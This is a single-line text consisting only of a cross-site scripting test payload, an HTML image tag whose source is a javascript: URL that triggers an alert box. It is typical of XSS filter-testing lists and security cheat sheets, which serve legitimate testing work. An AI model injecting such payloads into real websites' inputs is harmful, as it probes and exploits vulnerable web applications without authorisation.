<IMG SRC="javascript:alert('XSS')"